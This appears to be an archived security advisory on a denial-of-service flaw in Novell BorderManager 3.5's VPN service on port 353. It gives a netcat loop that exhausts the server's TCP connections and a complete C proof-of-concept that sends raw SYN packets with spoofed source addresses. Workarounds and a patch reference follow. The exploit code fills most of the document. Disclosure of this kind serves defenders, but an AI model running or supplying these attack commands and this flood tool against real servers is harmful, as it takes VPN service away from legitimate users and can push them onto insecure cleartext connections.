COMMAND
BorderManager
SYSTEMS AFFECTED
BorderManager 3.5
PROBLEM
Richard Bartlett found following. Whilst pen testing a
BorderManager 3.5 server he came across a problem which he has
now reproduced twice, and it is believed to be a vulnerability
either in Novell's TCP/IP stack or in BorderManager VPN, details
below.
(*) One of the ports open on the outbound interface of the
BorderManager server is 353, which allows for initial
handshaking between VPN Client & Server to exchange the Keys.
(*) Richard verified the port was open using a port scanner.
(*) He ran the command
for /l %%h in (1, 1, 300) do nc -d -z [server ip] 353
(works from Windows NT or 2000).
(*) After running the command the port appears closed and VPN
connections can no longer be made.
(*) On checking the server logs it was found that after ~250
connections are opened, the server runs out of TCP/IP
connections, and all further connection attempts fail with the
error message "No more TCP/IP client connections are
available."
(*) Re-loading vpn and re-initialising the system failed to
resolve the problem, and the only way to fix the problem
appeared to be to reboot the server.
(*) No error messages other than those in the VPN log were found,
no console messages warned that the service was unavailable,
and there was no other indication of a fault.
So, sending out multiple SYN requests to a port on the server
will cause exhaustion of the available TCP connections on the
server. The following command will open multiple connections to
port 353 (as said above):
for /l %%h in (1, 1, 300) do nc -d -z 192.168.1.1 353
Once ~256 connections are made the port fails to respond to
further SYN requests, and the server logs show that all further
connections are refused with the message 'No more TCP/IP client
connections are available'. Until the server is rebooted or
reinitialized all client-to-site VPN will fail (thereby forcing
users to revert to an unsecure form of data transmission, e.g. FTP
or POP3, which both use clear text passwords).
The server tested on was left for over 48 hours to allow
connections to be freed up by the system, but the port remained
closed.
Various measure were taken to resolve the issue. The server was
patched with NetWare 5.1 Support Pack 2a, BorderManager 3.5
Support Pack 2 and BorderManager 3.5 Proxy and ACL update. The
latest TCPIP.NLM was in use and the server had TCP Defend SYN
Attacks ON.
DoS code:
/* 29.4.2001 honoriak@mail.ru
Proof of concept DoS Novell BorderManager Enterprise Edition 3.5
helisec
DoSs are lame, i know, but boredom is ugly. DON'T ABUSE.
greets: jimjones, doing, darkcode for his paper about raw sockets
and all helisec guys.
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#define __FAVOR_BSD
#include <netinet/tcp.h>
#define PORT 353
/* to be easier the processing, this struct :) */
struct pseudohdr {
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short len;
struct tcphdr tcpheader;
}pseudoh;
unsigned long resolve(name)
char *name;
{
struct in_addr h2;
struct hostent *hname;
if (!(hname = gethostbyname(name))) return(0);
memcpy((char *)&h2.s_addr, hname->h_addr, hname->h_length);
return(h2.s_addr);
}
/* checksum ripped and modified by me */
u_short
checksum (data, length)
u_short *data;
u_short length;
{
register long value;
u_short i;
for (i = 0; i < (length >> 1); i++)
value += data[i];
if ((length & 1) == 1)
value += (data[i] << 8);
value = (value & 65535) + (value >> 16);
return (~value);
}
void packet(vic, socket)
struct sockaddr_in *vic;
int socket;
{
int count;
char buf[40];
struct ip *ipheader = (struct ip *)buf;
struct tcphdr *tcpheader = (struct tcphdr *)(buf + sizeof(struct ip));
bzero (&buf, (sizeof(struct ip) + sizeof(struct tcphdr)) );
/* filling ip struct */
ipheader->ip_v = IPVERSION;
ipheader->ip_hl = 5;
ipheader->ip_tos = htons(0);
ipheader->ip_len = htons(sizeof(buf));
ipheader->ip_id = rand() % 0xffff;
ipheader->ip_off = htons(0);
ipheader->ip_ttl = 0xff; /* 255 hex */
ipheader->ip_p = IPPROTO_TCP;
ipheader->ip_src.s_addr = rand();
ipheader->ip_dst.s_addr = vic->sin_addr.s_addr;
ipheader->ip_sum = 0;
/* filling tcphdr struct */
tcpheader->th_sport = 2424; /* random */
tcpheader->th_dport = vic->sin_port;
tcpheader->th_seq = htonl(0xF1C); /* random */
tcpheader->th_ack = 0;
tcpheader->th_off = 5;
tcpheader->th_flags = TH_SYN; /* the important flag */
tcpheader->th_win = 4096;
tcpheader->th_sum = 0;
bzero (&pseudoh, 12 + sizeof(struct tcphdr));
pseudoh.saddr.s_addr = rand();
pseudoh.daddr.s_addr = vic->sin_addr.s_addr;
pseudoh.protocol = 6;
pseudoh.len = htons (sizeof(struct tcphdr));
memcpy((char *)&pseudoh.tcpheader, (char *)tcpheader, sizeof (struct tcphdr));
tcpheader->th_sum = checksum((u_short *)&pseudoh, 12 + sizeof (struct tcphdr));
/* sending packets, DON'T ABUSE! */
for (count = 0; count < 260; count++) {
if ( (sendto(socket,
buf,
(sizeof(struct iphdr) + sizeof(struct tcphdr)),
0,
(struct sockaddr *)vic,
sizeof(struct sockaddr_in))) < 0) {
fprintf(stderr, "Error sending packets\n");
exit(-1);
}
}
close (socket);
}
void usage(proggy)
char *proggy;
{
fprintf(stderr,"DoS a Novell BorderManager Enterprise Edition 3.5\n");
fprintf(stderr, "honoriak@mail.ru from helisec\n");
fprintf(stderr, "Usage: %s host\n", proggy);
exit(0);
}
main(argc, argv)
int argc;
char *argv[];
{
struct sockaddr_in h;
int s0ck, uno = 1;
if (argc < 2)
{
usage(argv[0]);
}
bzero(&h, sizeof(h));
h.sin_family = AF_INET;
h.sin_port = htons(PORT);
if ( (inet_pton(AF_INET, argv[1], &h.sin_addr)) <= 0)
{
h.sin_addr.s_addr = resolve(argv[1]);
}
if (!h.sin_addr.s_addr) {
fprintf(stderr, "Error resolving host\n");
exit(-1);
}
if ((s0ck = socket(AF_INET, SOCK_RAW, 255)) < 0) {
fprintf(stderr, "Error creating raw socket, root is needed\n");
exit (-1);
}
setsockopt(s0ck, SOL_SOCKET, SO_BROADCAST, &uno, sizeof(uno));
packet(&h, s0ck);
fprintf(stderr, "DoS completed.\n");
exit(0);
}
SOLUTION
Re-loading VPMASTER.NLM failed to resolve the problem. Re-loading
AUTHGW.NLM show the report re-opened the port, but client
connections still failed. The only corrective action that
consistently resolved the problem was rebooting the server. The
following did work but not consistently:
(1) Unload VPMASTER.NLM
(2) Unload AUTHGW.NLM
(3) Reinitialize system
(4) Load AUTHGW.NLM
(5) Load VPMASTER.NLM
A possible way to solve this problem is to modify the default
filter exceptions that where added by vpncfg.nlm. Only allow
access to that port from host(s) or subnets where known vpn
clients or slave servers are being used. Granted it would
restrict access to vpn clients that never use the same address or
subnet, but it just a work around until a patch can be applied.
The patch for the DoS against the Border Manager VPN service was
released on 27 April:
http://support.novell.com/cgi-bin/search/tidfinder.cgi?2958995